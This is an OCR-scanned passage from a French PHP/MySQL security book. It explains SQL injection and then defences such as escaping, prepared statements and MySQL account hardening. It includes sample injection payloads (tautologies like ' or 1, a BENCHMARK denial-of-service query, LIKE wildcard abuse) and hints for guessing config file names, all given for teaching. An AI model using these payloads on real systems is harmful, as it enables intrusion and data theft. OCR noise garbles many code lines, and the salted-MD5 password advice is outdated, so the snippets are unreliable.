Comment PHP vend la meche 

A premiere vue, ce type d'injection peut sembler difficile a identifier. Pourtant, il suffit de 
peu de temps a un pirate pour comprendre comment contourner le code. En procedant 
par experimentations, on obtient facilement beaucoup d' informations. Par exemple, en 
placant simplement un guillemet dans la variable nom, on pourrait obtenir rapidement des 
informations de configuration de 1' application web : 

$_P0ST['Nom'] = ; 

Srequete = "SELECT countt*) FROM utilisateurs 
WHERE login = "' AND 
password=' ' or 1 " ) ; 

Les trois guillemets conduisent a une erreur de syntaxe SQL. Or, les erreurs SQL sont 
souvent affichees dans le script comme ceci : 

echo mysql i_error($mid) ; 
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On va done obtenir un message d'alerte tel que celui-ci : 

You have an error in your SQL syntax; check the manual that corresponds to your MySQL 
server version for the right syntax to use near "" and Password='passe' 

Rien qu'avec ce test simple, on sait deja qu'il y a une injection SQL possible, et on 
connait aussi le nom de la deuxieme colonne impliquee dans la requete. II ne reste plus qu'a 
exploiter cette vulnerabilite. N'oubliez jamais qu'un pirate a tout son temps devant lui. 

Exemples avarices 

Voici quelques autres injections possibles : 

mysql> SELECT * FROM TABLE WHERE id = (SELECT BENCHMARK 10000000, ENC0DE( ' abc 1 . ' 123" ) )) ; 

Cette injection realise un deni de service, oil le serveur va etre fortement ralenti par des 
requetes lentes et inutiles. 

Sous Microsoft SQL, on trouve la fonction EXEC, qui est la cousine de la fonction eval ( ) 
de PHP : elle permet d'executer du code SQL, stocke sur le serveur sous forme de chaine. 
Les dangers inherents sont les memes : 

DECLARE ©requete varchar(500) SET ©requete = 'SELECT login FROM utilisateurs WHERE 

**login = ' ' ' + ©login + ' ' ' ' 

EXEC(@requete) 

END 

Avec : 

1' or 'l'='l'; # maintenant, une autre injection! 



Comment bloquer les injections SQL 

II existe une strategie generale de defense contre les injections, qu'elles soient SQL ou 
autre : il s'agit de la validation des donnees en entree et de la protection en sortie. 

Dans les exemples presentes precedemment, le script a omis de faire les deux : les 
donnees d'entree, dans la variable $_P0ST, sont utilisees sans etre validees, alors qu'elles 
devraient l'etre des le debut du script. 

II en va de meme pour les donnees de sortie : elles sont utilisees dans la requete sans 
avoir ete rendues neutres pour le langage SQL. 

De maniere tactique, il existe plusieurs techniques pour neutraliser les variables qui 
entrent dans la composition d'une requete SQL. 

Assurer la protection des valeurs SQL 

La protection des valeurs, appelee aussi echappement par anglicisme, est la premiere 
tactique. Elle est universellement disponible, meme avec de vieilles versions de PHP. 

Au lieu d'utiliser la valeur de $_P0ST directement dans la commande, on la passe a la 
fonction mysql i_real_escape_string( ) , qui neutralise tous les caracteres susceptibles de 
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perturber le fonctionnement d'une requete, en ajoutant une barre oblique inverse juste 
devant ces caracteres. 

$_P0ST ['passe'] = " ' or (1) = '1 " 

$mysql_passe = mysql i_real_escape_string($mid, $_P0ST[ ' passe '] ) ; 
Apres ce traitement, $mysql_passe contient ceci : 
V or (1) = VI 

Les guillemets sont desormais precedes de barres obliques inverses : on dit qu'ils sont 
« neutralises ». Leur valeur SQL est maintenant la meme que leur valeur litterale. lis ont 
perdu la signification speciale que leur confere le langage SQL. 

Toutefois, pour bien assurer la neutralisation de l'ensemble, il faut que la chaine fournie 
soit placee entre guillemets dans la requete. Les types de guillemets, qu'ils soient simples 
ou doubles, n'ont pas d'importance, car mysql i_real_escape_string( ) sait aussi neutrali- 
ser les guillemets doubles. 

Cependant, notez que les parentheses n'ont pas ete protegees. Elles introduisent une 
sous-selection et peuvent conduire a un deni de service. Toutefois, si les guillemets ont 
bien ete neutralises, elles garderont leur valeur litterale et ne poseront pas de probleme. II est 
done important de bien utiliser les guillemets d'encadrement dans toutes les requetes SQL. 

Or, en SQL, il est possible d'eviter les guillemets lorsqu'on manipule des nombres. 
Comme la fonction mysql i_real_escape_string( ) laisse passer les parentheses, on retrouve 
une vulnerabilite par injection de sous-requete. 

Si vous devez manipuler des nombres dans une requete, il est recommande de forcer le 
type a un format numerique dans PHP, avec + 0, ou bien avec MySQL, en laissant les 
guillemets et en ajoutant + 0 dans la requete : 

<?php 

$_P0ST['id'] = " ' or (1) = '1 " + 0 ; 
Srequete = "SELECT C0UNT(*) FROM utilisateurs 
WHERE id = '". 

mysqli_real„escape_string($mid, $_P0ST[ ' id ' ] ) . " ' +0 "; 

?> 

En utilisant ce principe de transtypage force, voici une astuce pour les mots de passe, ou 
les valeurs de hashage en general. Les mots de passe ne doivent jamais etre stockes en 
clair ; ils sont toujours signes avec une fonction de hashage, comme MD5 ou SHA. Ces 
deux fonctions, disponibles simultanement en PHP et MySQL, produisent des chaines de 
caracteres qui ne contiennent que des chiffres et les lettres allant de A a F. Aucun de ces 
caracteres n'a de signification particuliere en SQL, ce qui permet de les utiliser en toute 
securite. 

Ainsi, avant de rechercher une correspondance de mot de passe, il est recommande de le 
passer a MD5 (ou equivalent), afin d'obtenir une valeur securisee pour le serveur SQL. 
De cette maniere, vos utilisateurs pourront utiliser les caracteres qu'ils souhaitent dans leur 
mot de passe, et vous ne compromettrez pas la securite de votre systeme d' identification. 
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<?php 

$passe = md5('sel'. $_P0ST[ 'passe' ].' poivre' ) ; 

// Spasse vaut d7b72c8f5eaa6ddda7d9beb25417a698 ou similaire 

$requete = "SELECT COUNK*) FROM utilisateurs 

WHERE login = '". 
mysqli_real_escape_string($inid, $_P0ST ['id']) 

."' AND password = 'Spasse'"; 

?> 

Pourquoi faut-il eviter addslashes() ? 

II est courant de voir la fonction addslashes() utilisee pour mettre en place la protection 
des valeurs qui seront introduites dans une requete SQL. En fait, c'est exactement la 
fonction qui est utilisee par magic_quotes_gpc. 

Cette fonction ajoute des barres obliques inverses devant les caracteres apostrophe ', 
guillemet ", NUL \0 et barre oblique inverse \. 

La securisation de ces caracteres est primordiale pour proteger une requete SQL contre 
les injections, mais elle n'est pas suffisante. Parmi les limitations de addsl ashes( ), on peut 
noter qu'elle ne protege pas tous les caracteres, comme les parentheses (), _ (souligne, ou 
underscore) et le signe %, pourcentage. De plus, elle ne prend pas en compte les jeux de 
caracteres utilises par la base de donnees, ce qui limite considerablement son utilite. 

Certes, addsl ashes () vaut mieux que pas de protection du tout. Cependant, elle doit etre 
remplacee par les fonctions de protection adaptees aux technologies qui sont utilisees. 
MySQL et PostGreSQL proposent leurs fonctions particulieres, mysql i_real_escape_string( ) 
et pg_escape_string( ). 

Clause LIKE et addcslashes() 

Les caracteres speciaux a surveiller ne se limitent pas aux separateurs de chaines ' et " . 
II faut aussi surveiller les caracteres jokers utilises dans les expressions de recherche. II y 
a notamment les caracteres souligne _ et pourcentage %. 

L'operateur LIKE est tres pratique pour realiser des recherches simples ou pour appliquer 
un premier critere de selection sur des donnees. Le signe souligne remplace un caractere 
unique tandis que le signe pourcentage remplace n'importe quelle quantite de caracteres. 

Les fonctions de protection ignorent ces deux caracteres, qui n'ont pas d' autre signification 
particuliere en dehors de leur utilisation avec LIKE. Autrement dit, le script suivant est 
vulnerable a une injection : 

<?php 

$_GET['prefixe'] = "%e"; 

$res = mysql i_query($mid, 'SELECT mot FROM dictionnaire WHERE mot LIKE 
*»" ' .mysql i_real_escape_string($mid, '$_GET["pref ixe"] ').'%" ' ) ; 

?> 

mysql i_real_escape_string( ) ignore le caractere %. Si la table dictionnaire dispose d'un 
index sur la colonne mot, la clause LIKE va pouvoir l'utiliser et etre tres rapide. 
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Avec cette injection toutefois la requete ne peut plus utiliser 1' index et tente une analyse 
complete de la table pour rechercher tous les mots qui contiennent la lettre e. L' execution 
est done beaucoup plus lente que prevue. 

Pour se premunir contre ce type d' injection, il faut proteger les caracteres souligne et 
pourcentage en les prefixant avec une barre oblique inverse. Le plus simple est de faire un 
remplacement de ces deux caracteres avec str_replace ou bien preg_repl ace( ). Cepen- 
dant, PHP recele une de ces fonctionnalites cachees : addcsl ashes( ). Cette fonction ajoute 
une barre oblique inverse aux caracteres qui lui sont indiques en deuxieme argument : 

<?php 

$_GET['prefixe'] = "%e"; 

$tmp = mysqli_real_escape_string($mid, '$_GET["prefixe"] ' ); 
$tmp = addcsl ashes ($tmp, "%_"); 
$_CLEAN['prefixe'] = $tmp; 

$res = mysqli_query($n)id, 'SELECT mot FROM dictionnaire WHERE mot LIKE "'.$tmp. '%" '); 

?> 

Variables MySQL 

MySQL propose un systeme de variables serveur, qui peuvent etre bien pratique pour 
renforcer la securite. Une variable MySQL est creee puis utilisee comme ceci : 

mysql> SELECT ©login := 'valeur', @passe := 'passe' ; 

mysql> SELECT count(*) FROM utilisateurs WHERE login = ©login AND passe = @passe; 

La premiere requete SQL est une affectation de variables. Ces valeurs sont ensuite reuti- 
lisees dans la requete d' identification. Notez qu'on est passe de une a deux requetes pour 
realiser la meme fonction. Toutefois, la premiere requete est tres rapide, car il n'y a pas de 
table impliquee. C'est une simple allocation de memoire, qui prend un temps insignifiant. 

La requete d' identification est desormais protegee, car une valeur introduite dans @login 
et ©passe est maintenant traitee comme une valeur et non plus comme une partie de la 
commande. MySQL sait parfaitement faire la difference entre les valeurs et la commande : 
il n'y a plus de danger d'injection. 

En realite, vous aurez remarque que le probleme a simplement ete deplace. Au lieu de 
faire une injection dans la requete d'identification, elle peut desormais avoir lieu dans la 
requete d' allocation des variables. 

Toutefois, il devient maintenant tres facile de proteger l'affectation des variables : c'est 
toujours la meme requete qui effectue l'affectation. Sa structure est simple et facile a 
proteger avec des guillemets et des fonctions de protection. II n'y a plus a proteger diffe- 
rents types de commandes tels SELECT, UPDATE, INSERT, CREATE, DROP, SET, etc. 

De plus, l'impact d'une injection est considerablement reduit, puisque l'injection se 
passe desormais lors de l'affectation de la variable et non plus dans la commande utile. 
Dans le cas ou une vulnerabilite inconnue serait exploitee, c'est la commande SET qui 
serait affectee et non plus la manipulation directe des donnees, utilisant SELECT, UPDATE ou 
DELETE. 
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Notez que la commande SELECT de MySQL retourne la valeur qui a ete affectee par la 
requete. Cela permet de recevoir la valeur qui a ete envoyee en meme temps que 1' affec- 
tation. 

mysql> SELECT @passe := " or (1) = '1'; 

+ + 

| @passe := ' ' or (1) = '1' | 

+ + 

I 1 I 

+ + 

1 row in set (0.00 sec) 

Cette technique est souvent meconnue, mais elle a le merite d'etre simple a appliquer et 
de bien separer les commandes et les valeurs, comme le font les commandes preparees. 
Elle rend aussi les requetes SQL completement fixes et plus lisibles dans le code : plus 
besoin de construire des requetes SQL complexes a la volee, mais simplement des affec- 
tations de variables et des requetes fixes. 



Commandes preparees 

La technique precedente utilisait un concept important : la separation de la commande et 
des valeurs. Les commandes preparees portent cette technique encore plus loin. 

On commence par demander au serveur SQL de preparer la requete, sans lui donner les 
valeurs qui seront utilisees. Puis, on indique les valeurs sur lesquelles le serveur doit 
executer la requete. Voici a quoi ressemble l'enchainement des actions en PHP avec PDO. 
Lobjet $dbh est une connexion a une base de donnees, qui reconnait les commandes 
preparees : c'est le cas de PostGreSQL, Oracle, IBM DB2, SQLite et de bien d'autres. 

<?php 

// sequence de connexion 

$stmt = $dbh->prepare( "INSERT INTO REGISTRY (nom, valeur) VALUES (mom, :valeur)"); 
$stmt->bindParam( ' :nom' , $nom); 
$stmt->bindParam( ': valeur ' , Svaleur); 

$valeurs = range( 'a' , 'z' ) ; 
foreach($valeurs as Svaleur => $nom) { 
// insertion d'une ligne 
$stmt->execute( ) ; 

} 

// sequence de deconnexion 
?> 

Lors de la preparation de la commande, les variables sont identifiees par leur nom. Elles 
sont ensuite remplies par de vraies valeurs a l'aide des appels a bindParam( ). Cette fonc- 
tion prend le nom de la variable dans la requete SQL et sa valeur stockee dans une varia- 
ble PHP. 

Cette technique est la plus sure qui soit pour la manipulation de donnees. Cependant, 
toutes les interfaces de bases de donnees n'en disposent pas ; dans ce cas, il faudra utiliser 
la protection des valeurs presentee dans les sections precedentes. 
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Toutefois, les commandes preparees ne sont pas totalement sures. Leur securite repose 
sur la separation entre la commande et les valeurs, ainsi que sur le type de donnees qui est 
impose a la variable. Certains types de donnees ne peuvent pas etre compiles a ce stade et 
laissent passer des possibilites d' injection. A l'heure actuelle, cela reste neanmoins la 
meilleure defense. 



Attention 

Les commandes preparees ont un impact non negligeable en termes de performances, surtout quand la 
requete n'est utilisee qu'une seule fois. Non seulement le code PHP est bien plus long, mais en plus la 
separation de la preparation et de I'execution coute un peu plus cher au serveur SQL. Ces couts sont 
uniques et il est possible de reutiliser une commande preparee plusieurs fois dans le meme script PHP, 
sans avoir a la preparer plus d'une fois. Dans ce cas, le cout total de la requete va diminuer. 



Procedures stockees 

Voici la derniere tactique de protection envisageable : l'utilisation de procedures stoc- 
kees. L'approche est la meme que pour l'utilisation des variables MySQL : on deporte le 
probleme de l'injection dans un cadre oil cette derniere ne pourra pas avoir d'effet direct 
sur la signification de la requete. 

DROP PROCEDURE identifie; 
DELIMITER // 

CREATE PROCEDURE identifie (IN 1 char(20), IN p char(32), OUT user INT) 
BEGIN 

SELECT COUNTt*) INTO user FROM uti 1 i sateurs WHERE login = 1 AND passe = p; 
END; 

// 

DELIMITER ; 

L appel a une telle procedure devient alors : 

Srequete = " CALL I DENTI FI E{ ' " .mysqli_real_escape_string($mid, $_P0ST[ 'login']). 
W ," .mysql i_real_escape_string($mid, $_P0ST[ 'passe' ]) . "',@id) "; 
// execution de la premiere requete 
Srequete = " SELECT @id; " 

Sous cette forme, une injection ne peut pas modifier la commande utile, c'est-a-dire 
1'identification, qui est bien protegee a l'interieur de l'appel de la procedure et ne peut 
plus etre detournee de son objectif final. 

Les injections restent possibles au niveau des valeurs qui sont fournies a la procedure 
stockee. II faut done appliquer les protections d'usage. 



Savoir limiter les degats 

Une approche prudente dans la manipulation des donnees sur le serveur est de lui indi- 
quer le nombre maximal de lignes a manipuler. Si jamais une erreur se glisse dans la 
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requete SQL, cela aura un impact sur un nombre limite de lignes et non plus sur l'ensemble 
des donnees. 

MySQL propose une clause originale en SQL : LIMIT. Cette clause est disponible avec les 
differentes commandes de manipulation de donnees et permet de reduire le nombre de 
lignes concernees. Prenons un exemple : 

mysql> SELECT colonne FROM table LIMIT 10; 
mysql> DELETE FROM table LIMIT 10; 

mysql> UPDATE table SET colnne = ' valeur ' WHERE id = 1000 LIMIT 1; 

La selection lit les lignes de la table tabl e , mais ne retourne que les 10 premieres, si elles 
existent. Grace a cette approche, le script PHP qui lit des donnees ne pourra pas etre 
submerge par un tsunami de lignes. 

Dans le cas de la mise a jour ou de l'effacement, l'ajout de la clause LIMIT garantit que la 
modification des donnees n'ira pas plus loin que le nombre de lignes specifie. Si vous 
devez modifier une Ache d'utilisateur dans la table, LIMIT 1 s'assurera qu'une seule ligne 
sera effectivement reecrite. 

LIMIT ne garantit pas que la ligne qui sera effacee ou modifiee sera celle que vous vouliez 
effectivement manipuler : elle garantit simplement que ce n'est pas toute la table qui sera 
modifiee. 

mysql> DELETE FROM table LIMIT 10; 

Si jamais vous deviez faire une erreur, cette requete serait bien moins dommageable a 
votre application que celle-ci : 

mysql> DELETE FROM table; 

Enfin, du point de vue MySQL, il est aussi possible de limiter le nombre de lignes lues 
par une selection avec sel ect_l imit et max_join_size. On peut egalement eviter les UPDATE 
qui ne contiennent pas de clause WHERE avec safe-updates. Nous presenterons plus en 
detail la configuration du client MySQL au chapitre 8. 

Acces au serveur SQL 

L' acces a la base de donnees SQL est generalement protege par un nom d'utilisateur et 
un mot de passe. lis sont necessaires dans 1' application PHP pour pouvoir ouvrir la 
connexion. La gestion de ces mots de passe est une operation delicate : en effet, ils doivent 
rester secrets. 

Ou ranger les acces au serveur SQL ? 

Dans une application web basee sur une pile LAMP, il faut bien donner au script PHP les 
moyens de se connecter a MySQL. Done, il faut les placer a un endroit auquel PHP peut 
acceder. Si, profitant d'une vulnerability, un pirate obtenait un acces au code source, les 
mots de passe seraient reveles. II faut par consequent les ranger judicieusement. 
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Par ailleurs, les mots de passe sont generalement rassembles en un seul endroit. Comme 
ils sont virtuellement necessaires dans chaque script d'une application, les applications 
web ont besoin d'un mecanisme pour les centraliser : en les modiriant a un endroit, il est 
possible de changer la configuration de toute 1' application. En termes de securite, cela 
reduit l'exposition des donnees secretes. II ne reste plus qu'un seul point a securiser : le 
stockage. 

Dans un fichier de configuration 

La technique la plus repandue est de ranger les mots de passe dans un fichier de configu- 
ration, qui est inclus et execute au debut de chaque script. 

Le probleme le plus frequent associe a un tel fichier est la publication de son code source. 
Souvent « affuble » d'une extension .inc, il peut etre publie par inadvertance par le 
serveur web. C'est un cas pratique de problemes d'extensions de fichiers. La meilleure 
solution est alors de placer le fichier dans un dossier hors Web, pour ne pas le publier 
involontairement. 

Pensez aussi qu'il est possible de decouvrir le nom du fichier de configuration par defaut 
pour de nombreuses applications Open Source. Pour les autres, plusieurs noms classi- 
ques sont possibles : configuration, config, conf, Nom_de_l_appl i cation, admin, install, 
etc. Les extensions sont alors .php, .inc, .inc.php, .php4. II suffit de les tester rapidement 
et d' avoir un peu de chance pour obtenir des valeurs de connexion. 

Enfin, on peut envisager de chiffrer le nom d'utilisateur et le mot de passe au lieu de les 
stacker en clair dans un fichier : toutefois, cela ne fait que deplacer le probleme. II faut 
maintenant ranger la cle de dechiffrement quelque part... peut-etre dans un autre 
fichier chiffre ? 

Dans le serveur web 

Le serveur web constitue 1' autre point commun a tous les scripts. Ce dernier a la capacite 
de communiquer avec les scripts PHP a l'aide des variables d'environnement. Ainsi, au 
lieu de ranger les informations de connexion dans un fichier, on peut les mettre dans le 
fichier de configuration global du serveur web ou dans un fichier . htaccess. Par exemple, 
pour Apache, vous pouvez ajouter les lignes suivantes : 

SetEnv MySQL_hote "localhost " 
SetEnv MySQL_login "utilisateurjnysql " 
SetEnv MySQL_passe "mot_de_passe " 
SetEnv MySQL_base "base " 

Puis, dans le script PHP, il suffit d'appeler les variables d'environnement pour les 
obtenir : 

<?php 

$mid = mysqli_connect($_SERVER['MySQL_hote']. $_SERVER['MySQL_login'], 
*$_SERVER['MySQL_passe'], $_SERVER[ 'MySQL_base' ]) ; 

?> 
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De cette maniere, il est plus difficile de lire directement les donnees : le pirate doit pouvoir 
realiser une injection de code PHP pour y acceder. 

Les sites qui utilisent phpinfo( ) sont alors vulnerables, car cette fonction affiche en clair 
les donnees de configuration. Quoi qu'il en soit, il est recommande de ne pas utiliser 
phpinfo( ) en public. 

Dans un fichier php.ini 

Encore plus discret que de passer par le serveur web, il est possible de donner les 
elements de configuration MySQL par defaut dans le fichier php . i ni . 

mysql .defaul tjiost = "127.0.0.1 " 
mysql .default_user = "uti 1 i sateur " 
mysql .defaut_password = "passe " 

Dans ce cas, le script PHP se simplifie et devient : 

<?php 

$mid = mysql i_connect( ) ; 

?> 

Desormais, il faut une injection de code PHP pour pouvoir y acceder, via la fonction 
ini_get() ou ini_set(), ou bien un phpinfo( ) public : pensez alors a le proteger ou a le 
desactiver avec disable_f unctions. 

Se proteger depuis le serveur 

La meilleure protection des identifiants sera placee dans MySQL. Si vos serveurs SQL et 
web sont sur le meme serveur, vous pouvez configurer un utilisateur web dans MySQL, 
en indiquant l'adresse IP locale. Ainsi, si les donnees de connexion sont obtenues par un 
pirate, il ne pourra pas les utiliser directement : la connexion a MySQL sera limitee a un 
utilisateur provenant de l'adresse locale. 

Si le serveur MySQL est situe sur un autre serveur distant, vous pouvez alors configurer 
un utilisateur avec une adresse IP unique, de maniere a limiter les possibilites d'acces. 
Cela fait partie du concept de limitation des droits accordes aux utilisateurs. 

De cette maniere, meme en cas de publication des acces, le serveur MySQL restera 
inaccessible. 



Mot de passe par defaut 

Etudions maintenant la gestion des mots de passe au niveau de MySQL, apres avoir traite 
de leur gestion au niveau de PHP. 

Par defaut, le nom du super-utilisateur d'un serveur MySQL est root et le mot de passe 
est la chaine vide ' ' . II est evident que juste apres une installation, il faut changer le mot 
de passe du super-utilisateur, sous peine de se voir aisement deposseder du compte le 
plus important sur le serveur. 
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Pour changer le mot de passe, vous pouvez utiliser deux techniques : 

• Si vous etes deja connecte comme super-utilisateur, utilisez cette commande : 
mysql> SET PASSWORD FOR root@l ocal host=PASSWORD( 'secret' ) ; 

• Sinon, effectuez les modifications directement dans la base de droits, qui est la base 
mysql : 

mysql> USE mysql ; 

mysql> UPDATE user SET password=password( 'secret' ) WHERE user='root' LIMIT 1 ; 

mysql> SELECT * FROM user WHERE user='root' ; 
mysql> FLUSH PRIVILEGES ; 

Vous pouvez aussi renforcer la securite en changeant le nom du super-administrateur par 
un autre : 

mysql> USE mysql ; 

mysql> UPDATE user SET user = 'chef WHERE user='root' ; 

mysql> FLUSH PRIVILEGES; 

Desormais, le super-administrateur du serveur MySQL est chef et non plus root. Cela 
donnera du fil a retordre aux pirates qui devront maintenant deviner le nom du compte 
super-administrateur en plus de celui du mot de passe. II faudra meme qu'ils parlent fran- 
cais... 



Acces anonymes au serveur SQL 

Voici une regie de base importante : donnez toujours des mots de passe aux utilisateurs 
MySQL, quels qu'ils soient. II est recommande de ne jamais avoir d'utilisateurs sans mot 
de passe. lis sont faciles a identifier, grace a la base de donnees mysql : 

mysql > USE mysql ; 

mysql> SELECT * FROM user WHERE password=" ; 

Ces deux commandes vont immediatement retourner la liste des utilisateurs sans mot de 
passe. Modifiez-les comme ceci : 

mysql> UPDATE user SET password=password( 'secret' ) WHERE password=" ; 

mysql> FLUSH PRIVILEGES ; 

La derniere commande, FLUSH PRIVILEGES, est cruciale : lorsque vous modifiez des droits 
d'acces dans la base mysql, les modifications ne sont pas prises en compte jusqu'a ce que 
vous executiez cette commande, ou que le serveur redemarre. 

Apres l'installation, rappelez-vous que MySQL cree par defaut un utilisateur anonyme. II 
vaut mieux ne pas le laisser configure sur un serveur en production. 



j mysql > DELETE FROM user WHERE user = 

mysql> FLUSH PRIVILEGES ; 
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Du point de vue de la securite, il est important de supprimer les utilisateurs qui peuvent 
se connecter depuis n'importe quelle adresse reseau. lis sont identifiables avec le carac- 
tere joker pourcentage % dans leur adresse IP : 

mysql> SELECT user, host, password FROM user WHERE host = '%' ; 
mysql> DELETE FROM user WHERE host = '%' ; 
mysql> FLUSH PRIVILEGES ; 

Par defaut, ce type de configuration n'est pas recommande, car il fournit beaucoup trap de 
possibilites d'acces : l'adresse IP est la premiere donnee testee par MySQL lorsqu'un utili- 
sateur tente d'ouvrir une connexion. Lorsque le symbole % est utilise, MySQL accepte 
n'importe quelle adresse d'origine et le serveur n'est plus defendu que par le nom d'utili- 
sateur et le mot de passe. Si vous envisagez de dormer des droits d'acces distants a des 
utilisateurs, il est recommande au minimum de restreindre leurs acces a certains reseaux : 

mysql> UPDATE user SET host = '%. fai.com' WHERE host = T ; 

Certes, le serveur ne sera pas completement barricade, mais la fenetre d'acces des pirates 
est maintenant bien plus petite. 



Protocoles de communication de MySQL 

Depuis MySQL 4.1, MySQL a change son protocole d'identification du mot de passe. Le 
chiffrement utilise pour communiquer et stocker le mot de passe a ete notablement 
renforce, avec une augmentation de la taille de 16 caracteres a 42. De plus, le protocole 
d'echange avec le client a aussi change : desormais, le mot de passe transite sous forme 
chiffree, alors qu'il etait echange en clair auparavant. 

Ces mesures ont ameliore la securite lors de l'etablissement de la connexion entre le 
serveur et le client. Toutefois, la migration d'une version ancienne de MySQL vers une 
plus recente ne se fait pas sans mal, car les deux systemes ne sont pas compatibles : 
nombreux sont ceux qui ont recu l'impopulaire message CI ient does not support authen- 
tication protocol requested by server. 

Pour utiliser le nouveau systeme d'identification, il faut que le serveur MySQL et les 
bibliotheques clientes soient mis a jour pour utiliser le nouveau protocole. PHP a mis a 
jour la bibliotheque cliente de l'extension mysql depuis la version 5.0.3 et celle de 
l'extension mysql i depuis la version 5.0.0. 

II est recommande de mettre a jour les bibliotheques et le serveur, d'autant plus que MySQL 
n' assure plus d' assistance technique pour la version MySQL 4.1 « communaute » depuis 
la fin de l'annee 2006. La version « entreprise » jouit d'un repit, mais son abandon est 
aussi programme pour l'annee 2008. En attendant, il faut done utiliser une version degradee 
du protocole, encore compatible avec l'ancien, et qui n'est pas aussi stir que le nouveau. 

Si la mise a jour des bibliotheques clientes est impossible, vous pouvez demarrer le 
serveur avec le mode —old-passwords (litteralement, anciens mots de passe), pour qu'il 
reprenne le comportement des versions 4.0 et anterieures. 
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Les inconvenients de cette approche sont doubles : non settlement le systeme utilise 
l'ancien protocole qui est beaucoup moins bien securise, mais il faut egalement que 
l'administrateur verifie que les mots de passe sont correctement crees, avec le bon algo- 
rithme. Dans les versions recentes, MySQL dispose de la fonction PASSWORD ( ), qui appli- 
que le chiffrement officiel, et de la fonction 0LD_PASSW0RD( ), qui est l'ancienne fonction de 
chiffrement. Avec l'option, -old-passwords, 0LD„PASSW0RD( ) devient PASSWORDO. 

Acces secondaires 

II existe des acces secondaires aux donnees sur un serveur SQL. lis sont vitaux pour le 
fonctionnement de la base, mais donnent un acces privilegie a des informations qui 
doivent etre protegees. C'est le serveur SQL qui assure la protection des donnees ; sans 
lui, les donnees ne sont pas securisees. Voici quelques « backdoors » (litteralement portes 
de derriere) pour acceder aux donnees d'un serveur SQL. 

Sauvegardes 

Parmi les acces discrets, on peut citer les systemes de sauvegarde. Certains effectuent 
la sauvegarde en se connectant comme client, d'autres le font en travaillant directe- 
ment sur les fichiers de donnees, via le systeme de fichiers. Surtout, les donnees qui 
sont sauvegardees sortent du giron du serveur et ne sont done plus protegees comme 
elles l'etaient. 

Un export SQL des donnees, realise avec Tutilitaire mysql dump ou la commande SELECT ... 
INTO OUTFILE pourra etre simplement recharge dans une autre base de donnees (MySQL, 
par exemple). Une copie binaire des fichiers de donnees pourra etre relancee sur un 
systeme similaire, mais avec des droits d' acces differents : avec MySQL, il suffit 
simplement de supprimer la base de donnees mysql, pour que le serveur se lance sans 
aucune gestion des droits. 

Enfin, les donnees de sauvegarde sont stockees generalement sur differents media, qui 
presentent des risques de securite supplementaires. Un stockage sur un autre serveur du 
reseau local impose les memes mesures de securite que sur le serveur principal. 

Si le stockage est effectue sur des disques amovibles, tels des DVD ou cassettes DAT, il 
faut aussi mettre en place un processus de securite pour proteger l'acces physique a ces 
donnees : autrement, elles peuvent etre facilement emportees par un employe, ou par le 
responsable de l'entretien. Vous avez surement deja entendu des histoires de personnes 
licenciees, qui partent avec une ou deux cassettes de sauvegarde dans leur besace. 

Pour proteger vos donnees contre ce type de fuites, il faudra mettre en place des proces- 
sus qui sortent du cadre informatique. La seule option disponible d'un point de vue logi- 
ciel est le chiffrement. Vous pouvez utiliser un systeme de fichiers qui chiffre les 
donnees sur le disque. Cela protege les donnees, meme si le support physique de stoc- 
kage est vole. 
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Replication 

La replication MySQL etablit un systeme de recopie des informations depuis un serveur 
maitre vers un ou plusieurs systemes esclaves. La replication peut servir de sauvegarde 
en temps presque reel. 

Dans cette configuration, l'esclave court les memes risques que le serveur maitre, 
puisqu'il contient les memes donnees. II faut done appliquer a l'esclave les memes regies 
d'acces et de protection qu'au serveur maitre. 

Or, il est frequent de bien verifier la securite du serveur maitre et de survoler la securite 
des esclaves. Soyez discipline dans votre application des regies de securite et utilisez les 
memes regies pour chaque serveur MySQL de votre architecture. 

La mise en place de replication demande aussi l'ouverture de comptes supplementaires 
pour acceder au serveur maitre via le reseau. Pensez done a verifier que des regies strictes 
ont ete mises en place pour cet acces. 



Fichiers de log SQL 

Les fichiers de log du serveur sont un autre point faible du systeme. MySQL entretient de 
nombreux fichiers de log, tels que le log de requetes lentes, le log binaire ou encore le log 
de requetes. Ces logs notent les requetes qui s'executent sur le serveur : le premier concerne 
les requetes les plus lentes, le deuxieme enregistre les requetes qui engendrent des modi- 
fications pour les propager aux esclaves et le troisieme sauvegarde toutes les requetes. 

Si un pirate met la main sur ces logs, il pourra extraire de nombreuses informations, car 
les requetes sont enregistrees en clair : en effet, ces logs doivent pouvoir etre relus pour 
en tirer des informations sur le comportement du serveur, ou pour etre relayes aux escla- 
ves. Par exemple, une requete de changement de mot de passe sera enregistree de la facon 
suivante : 

I mysql> UPDATE utilisateurs SET mot_de_passe = md5( 'pref ixe' . 'phrase_secrete' . 
*'suffixe') WHERE util isateur = 'admin' LIMIT 1 ; 



Liste des processus 

La commande SHOW PROCESSLIST presente les memes risques de securite que les logs de 
requetes presentes dans la section precedente. Elle affiche en clair les requetes qui sont 
en cours d'execution, ainsi que les valeurs utilisees. 



rnysql) SHOW PROCESSLIST; 



Id 


+ + 

| User | 


Host 


+ 

db 

+ 


+ 

| Command 


■+ 

| Time 


+ 

| State 


_ + 

| Info 


36376 
36377 


+ + 

1 Phpv4 1 
1 Phpv4 | 
+ + 


I ocal host 
I oca! host 


| phpversi on4 
| phpversi on4 
+ 


+ 

| Query 
| Query 
+ 


-+ 

1 o 
1 o 

■+ 


+ 

| NULL 
| NULL 
+ 


_ + 

| show processlist 

| UPDATE mysql.user SET pjssword=PASSWORD( 'nonsecure'). 

_t 



1 row in set (0.00 sec) 
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Fichiers de donnees 

Les droits de FILE de MySQL font l'interface entre le systeme de fichiers et les tables. Un 
utilisateur qui a ces droits peut utiliser les commandes suivantes : 

j mysql> LOAD DATA INFILE 'path/fichier.txt' INTO TABLE table ; 
mysql> SELECT * FROM table INTO OUTFILE ' /tmp/tabl e. txt ' ; 

La premiere commande lit le contenu d'un fichier dans une table. En creant une table 
avec une colonne de type TEXT, on peut ainsi lire aisement des fichiers quelconques pour 
les mettre dans une table et les reutiliser a l'aide des commandes SQL. 

La deuxieme commande exporte des donnees depuis une table vers le systeme de fichiers. 
En fonction des droits d'acces aux fichiers, elle permet aussi d'ecraser des fichiers existants, 
ou de les remplacer par des contenus qui proviennent des tables du serveur. 

En import comme en export, les droits de FILE sont done critiques. C'est pour cela que 
MySQL ne donne pas ce droit par defaut et qu'il faut l'attribuer de maniere explicite. De 
plus, par securite, MySQL n'autorise pas l'ecriture dans un fichier existant et n'ecrit que 
dans des fichiers dont les dossiers sont accessibles a tous. 



Communications 

Enfin, il reste un dernier acces secondaire au serveur : le reseau entre le client et le 
serveur. 

